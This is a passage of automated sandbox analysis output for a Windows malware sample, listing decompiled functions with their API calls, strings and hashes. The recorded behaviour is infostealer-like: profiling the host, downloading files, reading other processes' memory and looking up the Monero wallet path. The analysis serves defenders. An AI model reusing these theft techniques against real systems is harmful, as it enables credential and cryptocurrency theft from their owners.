Instruction ID: 9f3b4910e931d8b7c9a5bddcfaa4b5d556e9404f83e888fa57968d92918a3c89
Opcode Fuzzy Hash: 26e4f4600d23553c909f6ea47b6ee8a1767e6b671d6417342b6317fbc9d4dca4
Instruction Fuzzy Hash: E6217F316002099FCB11CF1CD4849B97BB4FF457A8B548094E989DB27ACB39D907EF54

Function 01000D7B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 01000D85
DName::DName.LIBCMT ref: 01000D91

Part of subcall function 00FFEA5C: DName::doPchar.LIBCMT ref: 00FFEA8D

UnDecorator::getScopedName.LIBCMT ref: 01000DD0
DName::operator+=.LIBCMT ref: 01000DDA
DName::operator+=.LIBCMT ref: 01000DE9
DName::operator+=.LIBCMT ref: 01000DF5
DName::operator+=.LIBCMT ref: 01000E02

Strings

void, xrefs: 01000DE1

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID: void
API String ID: 1480779885-3531332078
Opcode ID: a19cd2b2135e7f62739908dd85b095d0d0cf9e19f61e8d6af701831b2c161fec
Instruction ID: 9e73e11240fdecb417f8aaae6f4b1cbf4845c66ac2cdf3b0968c9fe624381b9a
Opcode Fuzzy Hash: a19cd2b2135e7f62739908dd85b095d0d0cf9e19f61e8d6af701831b2c161fec
Instruction Fuzzy Hash: F6115E71500249AFE71AEB68CC55BBD7BA0AF10340F044099F18B9B2FADB74AA41CB51

Function 00FF1786 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00FF1798
GetDeviceCaps.GDI32(00000000,00000008), ref: 00FF17A3
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00FF17AE
ReleaseDC.USER32(00000000,00000000), ref: 00FF17B9
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00FF4275,?,Display Resolution: ,010158DC,00000000,User Name: ,010158CC,00000000,Computer Name: ,010158B8,AV: ,010158AC), ref: 00FF17C5
HeapAlloc.KERNEL32(00000000,?,?,00FF4275,?,Display Resolution: ,010158DC,00000000,User Name: ,010158CC,00000000,Computer Name: ,010158B8,AV: ,010158AC,Install Date: ), ref: 00FF17CC
wsprintfA.USER32 ref: 00FF17DE

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Strings

%dx%d, xrefs: 00FF17D8

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: fbdd72528526ab1cd38bc175ff4b282f9a61b20de0bb4150650619bce4617570
Instruction ID: b626987a855867119e2d657412cd2c8e56fd38fbcca8502aed8c3b1b510d7976
Opcode Fuzzy Hash: fbdd72528526ab1cd38bc175ff4b282f9a61b20de0bb4150650619bce4617570
Instruction Fuzzy Hash: 33F0AF72A01224BFD7302BA5BC4DDAB7EACFF467A2B004014F705D2144C6B54C008BE4

Function 00FE67DF Relevance: 13.6, APIs: 9, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AD9
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4ADF
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AE5
Part of subcall function 00FE4AA7: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00FE4AF7
Part of subcall function 00FE4AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00FE4AFF

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE6828
StrCmpCA.SHLWAPI(?), ref: 00FE6848
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00FE6869
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00FE6884
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00FE68BA
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00FE68EA
CloseHandle.KERNEL32(?), ref: 00FE6915
InternetCloseHandle.WININET(00000000), ref: 00FE691C
InternetCloseHandle.WININET(?), ref: 00FE6928

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 083836f508b4e27feeb49895c3715de7368681c8cce89e4818c7fdf37b0984b6
Instruction ID: 8fb729c09fe1a8ac9f756465ca6a3477eeaaa02a53de07d82c7dbd9e1df07e4e
Opcode Fuzzy Hash: 083836f508b4e27feeb49895c3715de7368681c8cce89e4818c7fdf37b0984b6
Instruction Fuzzy Hash: DC412AB190016CAFDF309B21EC49BDA7BB9FF44354F1040A5BB09E2152D671AE85DFA4

Function 010060AD Relevance: 13.6, APIs: 9, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 010060D4
_free.LIBCMT ref: 010060E2
_free.LIBCMT ref: 010060ED
_free.LIBCMT ref: 010060C1

Part of subcall function 00FFD3DB: HeapFree.KERNEL32(00000000,00000000,?,00FFCC2D,00000000,0101A794,00FFCC74,00FEF100,?,?,00FFCD5E,0101A794,?,?,0100E6D8,0101A794), ref: 00FFD3F1
Part of subcall function 00FFD3DB: GetLastError.KERNEL32(?,?,?,00FFCD5E,0101A794,?,?,0100E6D8,0101A794,?,?,?), ref: 00FFD403

___free_lc_time.LIBCMT ref: 0100610B
_free.LIBCMT ref: 01006116
_free.LIBCMT ref: 0100613B
_free.LIBCMT ref: 01006152
_free.LIBCMT ref: 01006161

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID:
API String ID: 3704779436-0
Opcode ID: 9f5cc1072a080d2a93c850d1249c83dbb2a2d2e1fe2cb34a2dc1be2efc9d859f
Instruction ID: fb77d415b20b02a6fe8ebdf82548f61f06f8d284fc9d8ac6dcde573387a2f88b
Opcode Fuzzy Hash: 9f5cc1072a080d2a93c850d1249c83dbb2a2d2e1fe2cb34a2dc1be2efc9d859f
Instruction Fuzzy Hash: 4711CB711047099BFB726FACDC85AAA77F7EF01300F140879F38597592DA3994508B12

Function 00FEFDF7 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 00FEFE1C
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 00FEFE48
_memset.LIBCMT ref: 00FEFE8B
??_V@YAXPAX@Z.MSVCRT(?), ref: 00FEFFE1

Part of subcall function 00FEF4D4: _memmove.LIBCMT ref: 00FEF4EE

Strings

N0ZWFt, xrefs: 00FEFF48

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 7aa80bbbcb20bf56e96c3d07eae92b085819e4a7b41d0a6bb39ed9d741eff0cb
Instruction ID: 2805143cd0c5c558e6a06fa8509dcfcdcab0c865fe739ae8c572561f0acccda9
Opcode Fuzzy Hash: 7aa80bbbcb20bf56e96c3d07eae92b085819e4a7b41d0a6bb39ed9d741eff0cb
Instruction Fuzzy Hash: 9E5180B1D002689FDF30AF65CC85BEDB7B8AB45314F0041F9A208A7152DA756E88DF55

Function 00FEFBDF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,00FEFEAD,?,00000000,00000000,?,?), ref: 00FEFBFE
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,00FEFEAD,?,00000000,00000000), ref: 00FEFC28
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 00FEFC75
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00FEFCCE
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 00FEFD26
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00FEFEAD,?,00000000,00000000,?,?), ref: 00FEFD37

Strings

@, xrefs: 00FEFC41

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: 6eb41064430d17aac5e6356850140a33cf091c7d56485a4e907f4d87a1ebe37b
Instruction ID: ccb287c379e923152649f76ea6e82cdd2cfe215e74b7f381e344429a6c3e2c23
Opcode Fuzzy Hash: 6eb41064430d17aac5e6356850140a33cf091c7d56485a4e907f4d87a1ebe37b
Instruction Fuzzy Hash: 6741D132A00249EBDF219FA6DC45BDE7B76EB44760F208035FA04AA190D3798A55EB90

Function 00FF24D3 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00FF24DD
_memset.LIBCMT ref: 00FF2515
OpenProcess.KERNEL32(00000410,00000000,?), ref: 00FF2529
EnumProcessModules.PSAPI(00000000,?,00000004,?), ref: 00FF2546
GetModuleBaseNameA.PSAPI(00000000,?,?,00000104), ref: 00FF2563
CloseHandle.KERNEL32(00000000), ref: 00FF256A

Strings

<unknown>, xrefs: 00FF24F9

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Process$BaseCloseEnumH_prolog3_catch_HandleModuleModulesNameOpen_memset
String ID: <unknown>
API String ID: 445794743-1574992787
Opcode ID: 4beafc10a7a153bfc81587b5c19bca139e3014d248241529faa1c19e97333060
Instruction ID: 472661390eca24c2ed35defddfc9c0bb6cf5d6404564b459a15ece6fe7c67ed4
Opcode Fuzzy Hash: 4beafc10a7a153bfc81587b5c19bca139e3014d248241529faa1c19e97333060
Instruction Fuzzy Hash: 78112A7294012DABDB22EF50CC85ADEB6B8BF09300F4440A1FB88E7150D7755E859F91

Function 00FE1A41 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00FE1A55
HeapAlloc.KERNEL32(00000000), ref: 00FE1A5C
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00FE1AD9), ref: 00FE1A79
RegQueryValueExA.ADVAPI32(00FE1AD9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00FE1A94
RegCloseKey.ADVAPI32(00FE1AD9), ref: 00FE1A9D

Strings

wallet_path, xrefs: 00FE1A8C
SOFTWARE\monero-project\monero-core, xrefs: 00FE1A6F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: 991ca2a32529bb280d976499ec5b07f2e3fbbb594f56c624d4b1fe1c7dfa6803
Instruction ID: 047efdc2d80dc72cebf4df2d72e1c56fd83741b8fa16441363ae60c6b1553783
Opcode Fuzzy Hash: 991ca2a32529bb280d976499ec5b07f2e3fbbb594f56c624d4b1fe1c7dfa6803
Instruction Fuzzy Hash: BDF05E76640305BFEB208B91EC0EFAE7AB9EB80B04F644024F701E5188E6F15A449B64

Function 00FE9AA3 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 222stringCOMMON

Download Yara Rule

APIs

